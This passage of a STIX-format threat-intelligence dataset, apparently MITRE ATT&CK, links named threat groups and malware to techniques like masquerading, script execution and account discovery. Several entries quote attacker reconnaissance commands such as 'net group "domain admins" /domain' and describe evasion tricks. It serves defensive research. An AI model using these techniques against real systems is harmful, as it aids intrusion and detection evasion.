                    "source_name": "McAfee Honeybee"
                }
            ],
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened.(Citation: McAfee Honeybee)",
            "relationship_type": "uses",
            "id": "relationship--543c0cc3-3726-46ed-a839-e7268479127c",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.700Z",
            "created": "2020-03-17T19:20:54.067Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "source_name": "CitizenLab KeyBoy Nov 2016",
                    "url": "https://citizenlab.ca/2016/11/parliament-keyboy/",
                    "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019."
                }
            ],
            "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses Python scripts for installing files and performing execution.(Citation: CitizenLab KeyBoy Nov 2016)",
            "relationship_type": "uses",
            "id": "relationship--49d115fb-7a5a-4a6a-959d-0d76ab8394fb",
            "type": "relationship",
            "modified": "2020-03-17T19:28:58.355Z",
            "created": "2020-03-17T19:28:58.355Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used hidden or non-printing characters to help masquerade service names, such as appending a Unicode no-break space character to a legitimate service name. [APT32](https://attack.mitre.org/groups/G0050) has also impersonated the legitimate Flash installer file name \"install_flashplayer.exe\".(Citation: FireEye APT32 May 2017)",
            "relationship_type": "uses",
            "id": "relationship--6f0b6cfd-ebe2-46f3-9be1-0075237dbcb9",
            "type": "relationship",
            "modified": "2020-06-26T17:02:14.327Z",
            "created": "2020-03-17T23:17:09.409Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
            "external_references": [
                {
                    "source_name": "Twitter ItsReallyNick APT32 pubprn Masquerade",
                    "url": "https://twitter.com/ItsReallyNick/status/945681177108762624",
                    "description": "Carr, N.. (2017, December 26). Nick Carr Status Update APT32 pubprn. Retrieved April 22, 2019."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has moved and renamed pubprn.vbs to a .txt file to avoid detection.(Citation: Twitter ItsReallyNick APT32 pubprn Masquerade)",
            "relationship_type": "uses",
            "id": "relationship--9932d0d8-ad06-4a4f-8acf-1502c2b5f009",
            "type": "relationship",
            "modified": "2020-03-18T19:33:55.186Z",
            "created": "2020-03-17T23:17:09.427Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has placed malware on file shares and given it the same name as legitimate documents on the share.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--bf160f02-ab07-4f2d-8625-5818833bb77f",
            "type": "relationship",
            "modified": "2020-03-17T23:33:15.608Z",
            "created": "2020-03-17T23:33:15.608Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
                }
            ],
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has copied legitimate service names to use for malicious services.(Citation: Kaspersky Carbanak)",
            "relationship_type": "uses",
            "id": "relationship--28a4517c-89b9-4744-a58f-6a1f1fec3c33",
            "type": "relationship",
            "modified": "2020-03-17T23:39:44.707Z",
            "created": "2020-03-17T23:39:44.707Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Fysbis Dr Web Analysis",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "url": "https://vms.drweb.com/virus/?i=4276269"
                }
            ],
            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as the rsyncd and dbus-inotifier services.(Citation: Fysbis Dr Web Analysis)",
            "relationship_type": "uses",
            "id": "relationship--2d0510d6-765b-4352-8ddc-36556831215b",
            "type": "relationship",
            "modified": "2020-03-18T00:18:58.684Z",
            "created": "2020-03-18T00:18:58.684Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "source_name": "ASERT InnaputRAT April 2018"
                }
            ],
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by adding a new service named OfficeUpdateService.(Citation: ASERT InnaputRAT April 2018)",
            "relationship_type": "uses",
            "id": "relationship--a7653df0-63f4-4632-b5a2-6b00aead446f",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.789Z",
            "created": "2020-03-18T00:48:35.789Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "external_references": [
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.(Citation: FireEye APT35 2018) ",
            "relationship_type": "uses",
            "id": "relationship--7e636340-8b64-4913-be75-a8e62f68fc91",
            "type": "relationship",
            "modified": "2020-03-18T13:34:21.145Z",
            "created": "2020-03-18T13:34:21.144Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) renamed task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python tasks.(Citation: ESET Machete July 2019) ",
            "relationship_type": "uses",
            "id": "relationship--6c92e9a2-ed4b-40ba-831e-91fcc60aebd4",
            "type": "relationship",
            "modified": "2020-03-18T14:37:20.371Z",
            "created": "2020-03-18T14:37:20.371Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "source_name": "FireEye APT10 Sept 2018"
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [esentutl](https://attack.mitre.org/software/S0404) to change file extensions to their true type that were masquerading as .txt files.(Citation: FireEye APT10 Sept 2018) ",
            "relationship_type": "uses",
            "id": "relationship--06b18704-e29e-4bf9-900f-44aa719df0c6",
            "type": "relationship",
            "modified": "2020-03-18T14:48:43.975Z",
            "created": "2020-03-18T14:48:43.975Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "source_name": "FireEye APT10 Sept 2018"
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has renamed [certutil](https://attack.mitre.org/software/S0160) and moved it to a different location on the system to avoid detection based on use of the tool.(Citation: FireEye APT10 Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--5151bd6c-fb42-49da-9c97-f32a33a505a1",
            "type": "relationship",
            "modified": "2020-03-18T14:48:43.980Z",
            "created": "2020-03-18T14:48:43.980Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has stored obfuscated JavaScript code in an image file named temp.jpg.(Citation: ClearSky MuddyWater Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--b8e0c578-c249-4106-9568-3cbe0473b081",
            "type": "relationship",
            "modified": "2020-03-18T15:14:10.898Z",
            "created": "2020-03-18T15:14:10.898Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "GDATA Zeus Panda June 2017",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018."
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch remote scripts on the victim\u2019s machine.(Citation: GDATA Zeus Panda June 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--9317c15e-44ae-4d00-9f2b-ad1b07ff52b5",
            "type": "relationship",
            "modified": "2020-03-18T15:41:19.445Z",
            "created": "2020-03-18T15:41:19.445Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can launch a remote shell to execute commands on the victim\u2019s machine.(Citation: Malwarebytes DarkComet March 2018)",
            "relationship_type": "uses",
            "id": "relationship--957f81a6-81cb-4279-8c88-1a0a73c2e0d6",
            "type": "relationship",
            "modified": "2020-03-18T15:59:09.109Z",
            "created": "2020-03-18T15:59:09.109Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "source_name": "MuddyWater TrendMicro June 2018",
                    "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
                    "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020."
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload, as well as macros.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--4a0ee05d-f020-4811-bba6-56d12c15e275",
            "type": "relationship",
            "modified": "2021-03-19T13:38:13.143Z",
            "created": "2020-03-18T18:01:36.710Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional Jscript code on the victim's machine.(Citation: fsecure NanHaiShu July 2016)",
            "relationship_type": "uses",
            "id": "relationship--2a94575a-8e47-4d69-964b-f96210a673bd",
            "type": "relationship",
            "modified": "2020-06-23T20:05:03.359Z",
            "created": "2020-03-18T18:14:53.814Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Visual Basic Scripts (VBS) on victim machines.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
            "relationship_type": "uses",
            "id": "relationship--01d1922c-6900-4ed3-8ddf-bae4d06296b3",
            "type": "relationship",
            "modified": "2020-03-18T18:37:06.748Z",
            "created": "2020-03-18T18:37:06.748Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used python scripts.(Citation: Morphisec ShellTea June 2019)",
            "relationship_type": "uses",
            "id": "relationship--0b4ebc81-20fe-45f1-a93f-e6ca03c89114",
            "type": "relationship",
            "modified": "2020-03-18T18:52:41.021Z",
            "created": "2020-03-18T18:52:41.021Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) enumerated administrative users using the commands <code>net localgroup administrators</code>.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--5d45479d-7cc2-49cc-8f10-5ead0a1db033",
            "type": "relationship",
            "modified": "2020-06-29T17:03:09.817Z",
            "created": "2020-03-18T19:33:54.619Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "source_name": "McAfee Bankshot"
                }
            ],
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.(Citation: McAfee Bankshot)",
            "relationship_type": "uses",
            "id": "relationship--a35c951b-5987-4028-b002-a2078ad9c0a7",
            "type": "relationship",
            "modified": "2020-03-18T19:36:50.913Z",
            "created": "2020-03-18T19:36:50.913Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "source_name": "Rancor Unit42 June 2018"
                }
            ],
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used VBS scripts as well as embedded macros for execution.(Citation: Rancor Unit42 June 2018)",
            "relationship_type": "uses",
            "id": "relationship--2466dc21-d32d-4a62-a815-8f1d5d09d88d",
            "type": "relationship",
            "modified": "2020-03-18T19:39:07.453Z",
            "created": "2020-03-18T19:39:07.453Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)",
            "relationship_type": "uses",
            "id": "relationship--bce07a45-9955-4466-86ad-35fef741087d",
            "type": "relationship",
            "modified": "2021-04-09T14:47:00.131Z",
            "created": "2020-03-18T19:53:37.592Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "source_name": "Villeneuve et al 2014",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
                }
            ],
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs account discovery using commands such as <code>net localgroup administrators</code> and <code>net group \"REDACTED\" /domain</code> on specific permissions groups.(Citation: Villeneuve et al 2014)",
            "relationship_type": "uses",
            "id": "relationship--15cccbec-2d40-4f28-a46e-c985bbb20c87",
            "type": "relationship",
            "modified": "2020-03-18T20:08:42.361Z",
            "created": "2020-03-18T20:08:42.361Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>net user</code>, <code>net user /domain</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)",
            "relationship_type": "uses",
            "id": "relationship--39ce32d3-7721-4008-b74d-3549b7bb8fa7",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.094Z",
            "created": "2020-03-18T20:18:02.094Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
